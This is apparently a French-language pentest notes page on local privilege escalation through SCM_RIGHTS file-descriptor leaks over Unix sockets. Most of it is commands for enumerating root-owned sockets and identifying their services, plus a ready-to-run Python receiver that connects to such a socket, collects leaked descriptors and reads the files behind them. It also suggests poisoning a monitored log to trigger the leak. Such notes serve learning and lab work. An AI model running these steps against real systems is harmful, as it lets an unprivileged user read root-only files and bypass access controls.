Whackermelon
notes / techniques-diverses-fr / scm-rights-fuite-de-descripteurs-privesc

SCM_RIGHTS — Fuite de descripteurs (privesc)

sommaire

SCM_RIGHTS — passage de descripteurs de fichiers

Un processus peut passer un fichier DÉJÀ OUVERT (son descripteur) à un autre via un socket Unix (ancillary data, type SCM_RIGHTS). Le receveur hérite d’un handle de lecture SANS avoir eu le droit d’open() : le contrôle de permission a lieu à l’open(), pas au read(). Si un service root ouvre un fichier sensible et fuit le descripteur, on lit son contenu.

Énumération des sockets Unix

ss -xlp                         # sockets Unix en ecoute (+ process si visible)
find / -type s 2>/dev/null      # tous les fichiers-socket
find / -type s 2>/dev/null -exec ls -la {} \;   # avec proprietaire + permissions
ss -xlp | grep -vE 'dbus|systemd|pipewire|/run/user/'   # enlever le bruit standard

Cibler : un socket possédé par root, dans un endroit non-standard, mais accessible à notre utilisateur (groupe rw).

Identifier le service derrière le socket

systemctl status 'nom*'
ps aux | grep -i nom
ls -l /proc/<PID>/exe /proc/<PID>/cwd
tr '\0' ' ' < /proc/<PID>/cmdline; echo

Exploitation — receveur recv_fds

python3 -c '
import socket, os
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/run/xxx.sock")
msg, fds, _, _ = socket.recv_fds(s, 4096, 4)
print("msg:", msg)
for fd in fds:
    print(fd, os.pread(fd, 4096, 0))
'

Parfois il faut d’abord DÉCLENCHER l’envoi (ex. : empoisonner un log surveillé pour faire passer le service en mode « alerte » qui fuit le descripteur).